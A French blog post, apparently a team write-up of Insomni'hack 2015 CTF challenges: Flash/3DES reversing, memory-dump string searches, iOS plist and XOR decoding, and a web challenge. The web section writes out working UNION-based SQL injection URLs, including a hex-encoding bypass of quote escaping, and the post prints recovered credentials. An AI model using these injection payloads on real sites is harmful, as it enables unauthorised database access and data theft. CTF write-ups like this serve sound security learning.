Insomni'hack 2015

Comme chaque année depuis 2008, le concours d'Ethical Hacking Insomni'hack était organisé par la société SCRT à Genève. Et comme à chaque fois les organisateurs nous ont ravis avec des challenges intéressants et variés. J'ai essayé de regrouper quelques unes des solutions trouvées par notre équipe.

SwordFish #1


Pour l'édition 2015, la thématique était les films hollywoodiens qui parlent de hacking. Les 2 épreuves de reversing étaient un clin d'oeil à l’Opération Espadon et sa fameuse scène dans laquelle Hugh Jackman doit hacker le site du département de la défense américain (DoD) sous certaines "contraintes" :-)

L’épreuve présente donc une interface "très réaliste" de login pour le site du DoD, jugez plutôt :


Cette interface, en Flash, attend un login et un mot de passe. Inutile d’espérer entrer avec un couple admin/1234, on est au DoD, et la mention "DES 128 Bit encrypted security" nous laisse présager un très haut niveau de sécurité :-)

Une fois le fichier swf récupéré et envoyé sur le site ShowMyCode, on obtient le code source de l'interface. Un rapide passage en revue du code laisse apparaître le premier flag dans la vérification du login : INS{under60s} ... Facile !

SwordFish #2


La seconde épreuve de reversing s'appuie sur la même interface, mais il faut cette fois-ci trouver le mot de passe. Avec le code source, ce devrait être simple ... ou pas. Le code qui vérifie le mot de passe laisse apparaître l'utilisation de l'algorithme de chiffrement symétrique 3DES. La clé de chiffrement apparaît presque en clair, le mot de passe attendu (chiffré) également et, pour couronner le tout, le code génère des traces qui pourront être observées à l'aide de l'utilitaire Vizzy Flash Tracer. C'est trop beau pour être vrai !

Les traces qui apparaissent présentent le mot de passe saisi, ici "snipefoo" chiffré en "3DES" et le mot de passe attendu également chiffré en "3DES".


Cela va nous permettre de faire une rapide vérification : faire la même opération de chiffrement avec un autre outil qui utilise 3DES. La clé utilisée pour le chiffrement, que nous avons pu récupérer dans le code est 874AD632D611E04CBBAA248B07B9F103. Nous saisissons donc ces 2 éléments sur un site comme Etherhack.co.uk  et nous constatons que le résultat n'est pas le même ...


Ç'aurait été trop simple car il nous aurait suffit de décrypter (avec le même site) le mot de passe attendu ... Que s'est-il passé ? Pourquoi le chiffrement "3DES" du site du DoD ne donne pas le même résultat qu'un outil de chiffrement classique ? La réponse est dans la librairie DESKey.as elle aussi présente dans le code source de l'interface. Il s'agit de la librairie de chiffrement As3 Crypto Library mais avec quelques petites modifications ...

En comparant le code original et celui de l'interface du DoD nous avons constaté que les constantes d'initialisation de l'algorithme DES et l'algorithme en lui-même étaient légèrement différents :


Certaines différences peuvent s'expliquer par l'utilisation d'une autre version de la librairie et fournissent le même résultat. D'autres différences influencent vraiment le résultat des calculs.

La librairie utilisée par le DoD ne contient pas les fonctions de déchiffrement ... qu'à cela ne tienne, nous avons récupéré ces fonctions dans la librairie originale et les avons ajoutées dans le code modifié du DoD. Le logiciel FlashDevelop nous a permis d'éditer les sources et surtout de recompiler l'application modifiée. Une fois les fonctions de déchiffrement ajoutées aux librairies du DoD, il ne nous restait plus qu'à ajouter quelques lignes de code pour tracer le mot de passe déchiffré :


La réponse tant attendue : 64337366756E3475 en hexa et d3sfun4u en ASCII :-)

Lost in Memory


Une des épreuves de Forensic consistait à analyser le contenu d'un dump de mémoire de 1.5GB pour y trouver, nous dit-on, une partie du flag et un "pointeur" vers la seconde partie du flag.

Les organisateurs, avec leur malice habituelle, semblent avoir pris soin de faire en sorte que le dump ne soit pas reconnu par l'outil d'analyse Volatility :


Avec un peu de chance, les éléments seront sous forme de texte ... C'est parti !

  • Extraction des chaînes de caractères du dump :
    strings WIN-DEA2KM5I93L-20150318-151408.raw > memory.string 
    On passe de 1.5GB à 81MB.
  • On tente une recherche du pattern INS{ qui correspond au début du format des flag :cat memory.strings | grep "INS{"Peine perdue, 0 résultat.
  • On recherche de la chaîne "flag" :cat memory.strings | grep -i flag On récupère 4677 lignes, suffisamment peu pour une analyse visuelle qui va s’avérer fructueuse : app.alert({cMsg: "The second part of the flag is: _by_CSI_drama_series}",nIcon:3,cTitle:"Flag Part 1"});
  • Soyons fous :
    cat memory.strings | grep -i "first part" Raté, 0 résultat.
  • Et si le flag apparaissait dans un lien web ...
    cat memory.strings | grep -i "http:" | grep -i flag 
    Bingo : http://10.13.37.117/oyekv5ty9tQj/flag.txt
  • Il reste un problème : le site demande un login/mot de passe ... Encore un effort :
    cat memory.strings | grep -i "10.13.37.117"
    Et encore une victoire de Canard : http://johntheslayer:H!66q5p6F$8z8Z*D8gkB@10.13.37.117/oyekv5ty9tQj0D
  • Je n'ai pas gardé le début du flag retourné, mais c'était un truc du genre INS{memory_dump_provided_by_CSI_drama_series}

iBadMovie #1

Cette épreuve, dans la catégorie Mobile, proposait de récupérer une application iPhone pour trouver le flag. Information importante, il n'était pas nécessaire d'avoir un device iOS pour réussir (signalé dans l'énoncé de l'épreuve). Autre détail, l'application était livrée avec des fichiers annexes et notamment le fichier ch.scrt.iBadMovie.plist. En ouvrant ce fichier avec un éditeur de texte, l’œil averti remarque 2 chaînes qui ressemblent à du base64 :


La première chaîne, décodée sur le site base64decode.org donne: Blackhat ce qui est bien mais pas top. La deuxième donne: INS{TAYLOR_SWIFT} :-)

iBadMovie #2

Cette épreuve était également basée sur l'application iPhone téléchargée précédemment. En décompressant l'archive iBadMovie.ipa, puis le dossier iBadMovie.app, un fichier intitulé Blackhat.mp4 attirait notre attention (Blackhat étant un indice trouvé précédemment). Ce fichier est illisible: aucun lecteur multimédia n'est capable d'afficher la moindre image.

En ouvrant ce fichier avec un éditeur hexadécimal (ou un éditeur de texte), on peut apercevoir de nombreuses occurrences du mot Blackhat :


Une idée nous vient alors : et si le fichier avait été chiffré avec la technique du XOR ?

Source: blogs.rsa.com
Cette technique de chiffrement est particulièrement faible car lorsque le message initial contient une suite de 0, la clé apparaît en clair dans le message chiffré; ce qui semble être notre cas...

Nous avons donc appliqué la clé "Blackhat" au fichier pour le déchiffrer :


Oui, en Powershell, c'est moche et horriblement lent, mais ça change un peu du Python ou du Perl :-p

On peut également le faire avec un utilitaire du genre xore :

xor2.exe Blackhat < Blackhat.mp4 > BlackhatXOR.mp4

Une fois traité, le fichier peut être lu avec VLC. Il s'agit de la bande annonce du film Blackhat de Michael Mann. Et vers la fin de la bande-annonce, le flag :


Hack News

Cette épreuve, dans la catégorie Web, proposait de hacker un site web ... dont nous avions les sources à disposition ...

Dans les sources on trouve un grand classique de l'injection SQL :
$query = mysql_query("SELECT * FROM news WHERE id = " . mysql_real_escape_string($_GET['newsid']));
(j'ai simplifié le code, il y avait une fonction "protect" qui faisait elle-même appel à mysql_real_escape_string).

Un premier appel nous permet de vérifier quels champs peuvent être utilisés pour afficher un résultat correctement. Ici c'est le 2 qui sera retenu :
http://hacknews.insomni.hack/?newsid=0 UNION SELECT 1,2,3,4,5 from news
Une deuxième requête devrait nous permettre de lister les tables présentes dans la base (dont nous avions le nom dans le code source) : 
http://hacknews.insomni.hack/?newsid=0 UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema = 'inso15_news'),3,4,5 from news
Sauf que cette requête ne passe pas à cause du mysql_real_escape_string qui supprime les quotes ... Il suffit alors de remplacer le texte entre quotes par son équivalent en HEX :
http://hacknews.insomni.hack/?newsid=0 UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema = 0x696e736f31355f6e657773),3,4,5 from news
Surprise, il y a une table qui s'appelle "flag" ... Une dernière requête va nous permettre de récupérer le contenu de cette table : 
http://hacknews.insomni.hack/?newsid=0 UNION SELECT 1,(SELECT * from flag),3,4,5 from news
Désolé ... je n'ai pas pensé à faire un screenshot des résultats sur le coup ...

Vivement l'année prochaine pour un nouveau challenge. Merci aux organisateurs et félicitations aux gagnants pour la deuxième année consécutive, les polonais de Dragon Sector.

Commentaires

  1. Et ben, quelle aventure!! Impressionnant à chaque fois. Sincère bravo!!
    Alban

    RépondreSupprimer

Enregistrer un commentaire

Posts les plus consultés de ce blog

Importer les contacts Outlook dans le Carnet d'Adresses de Mac OS X

Découverte de la connexion fibre du SIEA/RESO-LIAin

SIEA/RESO-LIAin: regarder la télévision sur son ordinateur